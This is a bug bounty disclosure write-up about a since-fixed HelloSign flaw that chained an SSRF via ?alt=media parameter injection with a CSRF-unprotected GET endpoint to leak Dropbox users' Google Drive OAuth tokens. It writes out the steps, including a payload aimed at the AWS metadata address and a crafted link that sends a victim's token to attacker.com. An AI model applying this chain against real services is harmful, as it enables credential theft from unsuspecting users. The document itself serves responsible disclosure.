Stealing Google Drive OAuth tokens from Dropbox

Stealing Google Drive OAuth tokens from Dropbox

Sreeram KL and I were able to chain a harmless CSRF and SSRF in HelloSign to leak Google Drive OAuth tokens of Dropbox users. We reported the issue to Dropbox. It was fixed, a bounty was paid, and you can read below for more details.

SSRF

On the 1st of February 2022, HTTPVoid posted the writeup 'Hacking Google Drive Integrations' in which they were able to get full SSRF on Dropbox servers using Drive integrations. Since we were testing Google Drive for quite some time for Google VRP, this writeup caught our attention. We wanted to see how this integration was modified after their bug report.

A quick look at how that exploit worked:

  1. Attacker creates a JSON file with the following contents in Google drive
  2. {"downloadUrl": "http://169.254.169.254/latest/meta-data/"}
  3. Attacker signs into HelloSign, uploads the created drive file to it, and intercepts the request
  4. Inject the ?alt=media parameter in the file id value
  5. Get the AWS metadata in the response

To know why this worked the way it did, please read their full writeup.

The root cause for this SSRF is the alt=media parameter injection, which was used to modify the downloadUrl value. The HelloSign server then requested the downloadUrl, and displayed its response.

Based on our analysis, Dropbox had patched this SSRF by blacklisting sensitive URLs such as metadata, localhost, etc. However, they did not address the parameter injection, which then allowed us to send requests to arbitrary external servers.

This, inherently, is not an issue. But, in this case, the requests contained the Google Drive Authorization token of the HelloSign user. This makes sense because this request was supposed to be sent to the Google API, but was sent to our server.

Now, we were able to send our own Google Drive Auth token to arbitrary servers. We still needed a way to exploit this behavior and leak the Auth token of other users.

CSRF

The request in which we inject the ?alt=media parameter (in the 3rd step), was a GET request to the following endpoint:

GET /attachment/externalFile?service_type=G&file_reference={DRIVE_FILE_ID}&file_name=randomname&c=0.1 HTTP/1.1 Host: app.hellosign.com Cookie: ...

And this GET request was not protected from CSRF!

This means, we could create a link, which when opened by a HelloSign user, would send their Google Drive Auth token to our server.

🎉

The Chain

  1. Create a JSON file with the following contents in Google drive
  2. {"downloadUrl": "https://attacker.com"}
  3. Note down the drive file id, and insert it in the following URL
  4. https://app.hellosign.com/attachment/externalFile?service_type=G&file_reference={DRIVE_FILE_ID}?alt=media&file_name=randomname&c=0.1
  5. Send the link to a HelloSign user. When they visit it, you should get their Google Drive OAuth token in your server logs.

Timeline

Feb 02, 2022 - Reported Feb 04, 2022 - HackerOne triage closed and marked as duplicate Feb 23, 2022 - Dropbox Product Security reopened Mar 02, 2022 - Rewarded a $1,728 bounty Apr 06, 2022 - Retested and found the bug to be fixed Apr 07, 2022 - Marked as resolved

You can follow us on Twitter - @sivaneshashok  @kl_sree

Show Comments